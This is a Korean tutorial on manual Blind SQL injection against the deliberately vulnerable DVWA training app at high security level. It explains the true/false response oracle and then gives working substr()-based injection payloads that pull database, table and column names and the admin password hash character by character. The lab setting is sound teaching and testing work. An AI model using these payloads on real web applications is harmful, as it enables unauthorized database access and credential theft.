홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#DVWA Blind SQL Injection #DVWA #Damn Vulnerable Web Application #웹해킹 실습 #실습설명서 #SQL구문삽입 #Blind SQLi #Manual SQL Injection #mysql #information_schema #A1-Injection

DVWA: Blind SQL Injection 이해를 위한 수동점검 실습 설명서

DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다.

DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.

여기서는 구동 후 DVWA 훈련장의 주소가 http://192.168.189.246/이었다. DVWA 누리집의 로그인 정보는 admin/password이다. 실습을 진행하기 전에 다음 두 가지 작업을 사전에 수행하야야 한다.

  1. "Setup / Reset DB" 항목에서 "Create / Reset Database"를 실행한다.
  2. "DVWA Security" 항목에서 "Security Level"을 High 로 변경한다.

SQL 구문삽입 진단

DVWA: SQL Injection (Blind) 실습문제는 ID를 입력했을 때 유효한 ID인 지를 판별해주는 웹 애플리케이션이다. 다양한 입력을 통해 다음과 같은 결과를 얻었다.

1		결과: "User ID exists in the database."
1' AND 1=2#	결과: "User ID is MISSING from the database."
1' OR 1=2#	결과: "User ID exists in the database."

6		결과: "User ID is MISSING from the database."
6' AND 1=1#	결과: "User ID is MISSING from the database."
6' OR 1=1#	결과: "User ID exists in the database."

유효한 ID=1을 이용한 SQL주입과 유효하지 않은 ID=6에서 AND, OR, true(1=1), false(1=1)를 조합하면 위와 같다. AND와 OR 연산이 수행된다는 증거를 얻을 수 있다. 이러한 연산은 SQL 파서가 담당하는 역할이므로 SQL구문삽입 취약점이 있다고 확신할 수 있다.

Blind SQLi 공략의 시작: 참/거짓 반응 관찰

DVWA: SQL Injection (Blind) 실습문제는 ID를 입력했을 때 유효한 ID인 지를 판별해주는 웹 애플리케이션이다. 즉, DB 내용을 직접적으로 유출하지 않는다. 옳다(true), 틀리다(false)라는 반응만 내보낸다. 이 때문에 공격자는 간접적으로 "이건 맞니?", "저건 맞니?"라는 질문을 계속 보내서 DB내용을 하나씩 유추해낸다. 스무고개 놀이와 같다. 수많은 질문을 던져야 하므로 UNION 기반 SQL구문삽입에 비해서 시간이 많이 걸린다.

스무고개는 놀이의 하나이다. 한 사람이 어떤 물건을 마음 속으로 생각하면, 다른 사람이 스무 번까지 질문을 해서 그것을 알아 맞히는 것이다. 질문은 원칙적으로는 예·아니오로 대답할 수 있는 것이어야 하지만, 규칙에 따라 첫 번째 질문은 동물성·식물성·광물성을 물어보는 것으로 할 수도 있다.
1950년대 영국 BBC의 라디오 프로그램 《트웬티 퀘스천스(Twenty Questions)》로 유행했고, 대한민국에는 군정기 때 이를 똑같이 모방한 프로그램이 만들어지면서 퍼졌다.
- 위키피디아

공격자는 DVWA: SQL Injection (Blind) 실습문제에서 "참 AND 참"의 질문과 "참 AND 거짓"의 질문을 입력하여 서버의 반응을 살핀다.

(참 AND 참 = 참) 질문의 예:        1' AND 1=1#

                                TRUE     TRUE
                          -----------     ---
SELECT * FROM users WHERE user_id='1' AND 1=1#';
                    -------------------------
                                    TRUE

	서버의 반응: User ID exists in the database.

입력이 1' AND 1=1#이다. 그 결과, users 테이블에서 user_id=1인 레코드를 만나면 user_id='1'이 참(TRUE)이 된다. 이 때 항상 참(1=1)을 AND 연산자로 묶었기 때문에 전체 WHERE 절은 참(TRUE)이 된다. ID가 1인 레코드는 1개가 존재할 것이므로, SELECT문은 1개의 레코드를 조회할 수 있다. 그 결과로 서버는 "User ID exists in the database."라는 문자열을 출력한다.

(참 AND 거짓 = 거짓) 질문의 예:    1' AND 1=2#

                                TRUE     FALSE
                          -----------     ---
SELECT * FROM users WHERE user_id='1' AND 1=2#';
                    -------------------------
                                   FALSE

	서버의 반응: User ID is MISSING from the database.

입력이 1' AND 1=2#이다. 테이블 users에서 ID=1인 레코드를 만나게 되더라고 항상 거짓(1=2)AND로 묶었다. 때문에 WHERE 절은 항상 거짓(FALSE)이다. 따라서 SELECT 문은 어떠한 레코드도 조회하지 못한다. 즉, ID가 존재하지 않는다는 결론을 내린다. 그 결과로 서버는 "User ID is MISSING from the database."라는 문자열을 출력한다.

DVWA Blind SQL Injection (high level) TRUE clue
[ DVWA SQL Injection (Blind) high의 TRUE AND TRUE 단서 ]

위의 그림에서는 입력이 1' AND 1=1#이다. 공격자의 질문이 참일 때의 서버 반응이다.

DVWA Blind SQL Injection (high level) FALSE clue
[ DVWA SQL Injection (Blind) high의 TRUE AND FALSE 단서 ]

위의 그림에서는 입력이 1' AND 1=2#이다. 공격자의 질문이 거짓일 때의 서버 반응이다.

이제 공격자는 DVWA: SQL Injection (Blind) 문제를 통해서 DBMS에 질문을 던질 수 있는 준비가 되었다. 맞는 질문을 던지면 서버는 "User ID exists in the database."라고 대답한다. 틀린 질문을 던지면 서버는 "User ID is MISSING from the database."라는 대답을 한다. 서버의 대답에 이 두 반응이 없다면 무언가 오류가 났을 확률이 높다. 아마도 SQL 문법 오류(syntax error)일 것이다.

공격자가 질문을 던지는 방식은 1' AND (비밀번호_첫글자='c')#와 같다. 비밀번호_첫글자가 'c'이면 서버는 "User ID exists in the database."라고 반응할 것이다. 'a', 'b' 'c' 등 모든 알파벳을 대상으로 시험하여 첫번째 글자를 찾아낸다. 그리고 두번째, 세번째 글자를 순차적으로 찾아내면 비밀번호 전체를 알아낼 수 있다. (실제 공격에서는 크다, 작다라는 질문을 사용한다. 순차적으로 질문하는 것보다 계산 횟수를 크게 줄일 수 있다. 이 설명서에는 이해를 돕기 위해서 순차적으로 "같다?"라는 질문을 던지는 것으로 하였다.)

MySQL의 정보스키마와 Blind SQLi

웹 애플리케이션의 기반 DBMS를 탐지하는 방법은 DBMS Fingerprinting 방법을 참조하자. DVWA: SQL Injection (Blind)의 데이터베이스 관리시스템은 MySQL이다. MySQL에서는 데이터베이스 구조(메타데이타 또는 스키마)를 정보스키마(information_schema)에 저장한다. 다음은 DVWA: SQL Injection (Blind)에서 접근할 수 있는 MySQL의 정보스키마가 관리하는 전체 테이블 목록이다(편의를 위하여 5개 컬럼만을 출력하였다). 이 목록은 information_schema.tables 테이블에 저장되어 있다.

Database: information_schema
Table: tables
[53 entries]
+--------------------+--------------------------------------+-------------+--------+----------+
| table_schema       | table_name                           | table_type  | engine |table_rows|
+--------------------+--------------------------------------+-------------+--------+----------+
| mysql              | slow_log                             | BASE TABLE  | CSV    | 2        |
| mysql              | general_log                          | BASE TABLE  | CSV    | 2        |
| information_schema | KEY_COLUMN_USAGE                     | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | SCHEMATA                             | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | TABLE_PRIVILEGES                     | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | COLLATION_CHARACTER_SET_APPLICABILITY| SYSTEM VIEW | MEMORY | NULL     |
| information_schema | GLOBAL_VARIABLES                     | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | TABLE_CONSTRAINTS                    | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | COLLATIONS                           | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | GLOBAL_STATUS                        | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | REFERENTIAL_CONSTRAINTS              | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | TABLES                               | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | CHARACTER_SETS                       | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | FILES                                | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | PROFILING                            | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | STATISTICS                           | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | SESSION_VARIABLES                    | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | ENGINES                              | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | SESSION_STATUS                       | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | USER_PRIVILEGES                      | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | COLUMN_PRIVILEGES                    | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | SCHEMA_PRIVILEGES                    | SYSTEM VIEW | MEMORY | NULL     |
| information_schema | COLUMNS                              | SYSTEM VIEW | MyISAM | NULL     |
| mysql              | db                                   | BASE TABLE  | MyISAM | 2        |
| mysql              | help_topic                           | BASE TABLE  | MyISAM | 508      |
| mysql              | user                                 | BASE TABLE  | MyISAM | 5        |
| information_schema | ROUTINES                             | SYSTEM VIEW | MyISAM | NULL     |
| mysql              | columns_priv                         | BASE TABLE  | MyISAM | 0        |
| mysql              | help_relation                        | BASE TABLE  | MyISAM | 993      |
| mysql              | servers                              | BASE TABLE  | MyISAM | 0        |
| mysql              | time_zone_transition_type            | BASE TABLE  | MyISAM | 0        |
| dvwa               | users                                | BASE TABLE  | MyISAM | 5        |
| mysql              | help_keyword                         | BASE TABLE  | MyISAM | 452      |
| mysql              | procs_priv                           | BASE TABLE  | MyISAM | 0        |
| mysql              | time_zone_transition                 | BASE TABLE  | MyISAM | 0        |
| dvwa               | guestbook                            | BASE TABLE  | MyISAM | 1        |
| mysql              | help_category                        | BASE TABLE  | MyISAM | 38       |
| mysql              | proc                                 | BASE TABLE  | MyISAM | 0        |
| mysql              | time_zone_name                       | BASE TABLE  | MyISAM | 0        |
| information_schema | EVENTS                               | SYSTEM VIEW | MyISAM | NULL     |
| information_schema | PROCESSLIST                          | SYSTEM VIEW | MyISAM | NULL     |
| information_schema | VIEWS                                | SYSTEM VIEW | MyISAM | NULL     |
| mysql              | plugin                               | BASE TABLE  | MyISAM | 0        |
| mysql              | time_zone_leap_second                | BASE TABLE  | MyISAM | 0        |
| information_schema | PLUGINS                              | SYSTEM VIEW | MyISAM | NULL     |
| mysql              | func                                 | BASE TABLE  | MyISAM | 0        |
| mysql              | ndb_binlog_index                     | BASE TABLE  | MyISAM | 0        |
| mysql              | time_zone                            | BASE TABLE  | MyISAM | 0        |
| information_schema | PARTITIONS                           | SYSTEM VIEW | MyISAM | NULL     |
| information_schema | TRIGGERS                             | SYSTEM VIEW | MyISAM | NULL     |
| mysql              | event                                | BASE TABLE  | MyISAM | 0        |
| mysql              | host                                 | BASE TABLE  | MyISAM | 0        |
| mysql              | tables_priv                          | BASE TABLE  | MyISAM | 0        |
+--------------------+--------------------------------------+-------------+--------+----------+

MySQL의 데이터베이스 구조는 information_schema.tablesinformation_schema.columns 테이블에서 파악할 수 있다. 속도를 신경쓰지 않는다면, information_schema.columns 테이블만 조회해도 모두 알 수 있다. 편의를 위하여 이 설명서에서는 information_schema.columns 테이블로부터 DB구조를 알아낼 것이다.

정보스키마의 columns 테이블에서 데이터베이스 목록을 조회하는 SELECT문을 작성하면 다음과 같을 것이다. 데이터베이스 이름은 table_schema 컬럼에 저장되어 있다.

SELECT table_schema FROM information_schema.columns;

그런데 같은 DB 이름이 중복되어 조회될 수 있으므로 DISTINCT를 선언하여 SELECT문의 조회 결과에서 중복을 모두 제거한다.

SELECT DISTINCT table_schema FROM information_schema.columns;

DBMS의 정보스키마 이름이 information_schema임을 알고 있으므로 이를 제거한다. SQL 표준에서 "같지않다"는 "<>"이지만 대부분의 DBMS가 비표준인 "!="를 지원하므로 이를 사용하였다.

SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema';

"눈먼" SQL 구문삽입에서는 낱낱의 문자를 비교해야 하는 데 이를 위해서는 SELECT 문의 결과가 1개여야 한다. MySQL에서는 LIMIT를 이용하여 낱개를 가져올 수 있다.

SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1;

MySQL에서 LIMIT 0,1은 조회한 결과의 첫번째(0), 1개를 의미한다. LIMIT 1,1은 두번째(0) 1개, LIMIT 2,1은 세번째(0) 1개를 의미한다. 눈먼 SQLi에서 공격자의 질문은 "첫번째 글자가 a인가?"와 같은 방식이다. 각 문자를 떼어내기 위해서는 substr()를 사용한다.

substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'a';

위의 SQL문은 첫번째 table_schema 데이터의 첫번째 문자가 'a'인가를 묻는 것이다. MySQL에서 LIMIT의 첫번째 위치는 0이지만 substr()의 첫번째 위치는 1이다. (헷갈린다...)

지금까지의 관찰을 바탕으로 "참 AND 참" 또는 "참 AND 거짓"을 판별할 입력값을 만들면 다음과 같다.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = '문자'#

위의 문자를 바꿔가면서 , 거짓을 판별해나가면 데이터베이스 이름(table_schema)을 알아낼 수 있다.

MySQL에서 접근 가능한 데이터베이스의 갯수는 1' AND (SELECT count(schema_name) FROM information_schema.schemata) = 4#와 같은 방식으로 알아낼 수 있다.

데이터베이스 목록 확인

첫번째 table_schema 데이터의 문자열을 하나씩 알아내보자.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'a'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'b'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'c'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),1,1) = 'd'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) is null# (결과: 거짓)

첫번째 table_schema의 첫번째 문자는 'd'이다. 두번째 문자는 null이 아니다. 즉 문자열의 길이가 2이상이다. 위의 과정을 두번째 문자에 대해서 반복한다.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'a'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'b'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'c'# (결과: 거짓)
[ ... 생략 ... ]
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'u'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),2,1) = 'v'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) is null# (결과: 거짓)

첫번째 table_schema의 두번째 문자는 'v'이다. 세번째 문자는 null이 아니다. 즉 문자열은 'dv'로 시작하며 길이가 3이상이다. 위의 과정을 세번째 문자에 대해서 반복한다.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'a'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'b'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'c'# (결과: 거짓)
[ ... 생략 ... ]
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'v'# (결과: 거짓)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),3,1) = 'w'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),4,1) is null# (결과: 거짓)

첫번째 table_schema의 세번째 문자는 'w'이다. 네번째 문자는 null이 아니다. 즉 문자열은 'dvw'로 시작하며 길이가 4이상이다. 위의 과정을 네번째 문자에 대해서 반복한다.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),4,1) = 'a'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 0,1),5,1) is null# (결과: 참)

첫번째 table_schema의 네번째 문자는 'a'이다. 다섯번째 문자는 null이다. 즉 문자열은 'dvwa'이다. 첫번째 데이터베이스 이름(table_schema)은 'dvwa'이다.

두번째 table_schema에 대해서도 동일한 과정을 반복하면 데이터베이스 이름을 알아낼 수 있다. 참인 입력만 요약하면 다음과 같다.

1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),1,1) = 'm'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),2,1) = 'y'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),3,1) = 's'# (결과: 참)
1' AND substr( (SELECT DISTINCT table_schema FROM information_schema.columns WHERE table_schema!='information_schema' LIMIT 1,1),4,1) = 'q'# (결과: 참)

두번째 데이터베이스 이름은 "mysq"로 시작한다.

dvwa DB의 테이블 목록 확인

테이블 목록은 information.tablesinformation.columnstable_name 컬럼을 이용하여 확인할 수 있다. 여기서는 information.columnstable_name을 이용하여 dvwa 데이터베이스의 테이블 목록을 확인해보자.

1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),1,1) = '문자'#

질문의 기본적인 틀은 위와 같다. 첫번째 테이블 이름을 유출할 때 참인 반응을 보인 입력값들이다.

1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),1,1) = 'g'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),2,1) = 'u'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),3,1) = 'e'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),4,1) = 's'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),5,1) = 't'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),6,1) = 'b'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),7,1) = 'o'#

이러한 방식으로 guestbook, users의 두 테이블 이름을 확인할 수 있다.

dvwa.users 테이블의 컬럼 목록 확인

1' AND substr( (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1) = '문자'#

1' AND substr( (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1) = 'u'# 등과 같이 시작하여 컬럼이름을 유출할 수 있다. user, password 등의 컬럼을 확인할 수 있다.

dvwa.users 테이블의 password 컬럼 조회

user 컬럼에서 "admin"을 이미 유출했다고 가정하자.

1' AND substr( (SELECT password FROM users WHERE user='admin' LIMIT 0,1),1,1) = '문자'#

동일한 방식으로 진행하면 admin의 비밀번호 해쉬 값을 조회할 수 있다.

마무리

Blind SQL Injection은 수작업으로 진행하기에는 너무 많은 계산이 필요하다. 때문에 대부분의 경우에는 프로그램을 작성하여 기계적으로 유출하는 것이 일반적이다.

범용 SQL 공격도구인 sqlmap을 이용한 공략법은 DVWA: Blind SQL Injection (low/medium level)의 sqlmap 공략 문서를 참조하기 바란다.

[처음 작성한 날: 2016.12.27]    [마지막으로 고친 날: 2016.12.27] 


< 이전 글 : DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (2016.12.22)

> 다음 글 : DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (2016.12.26)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문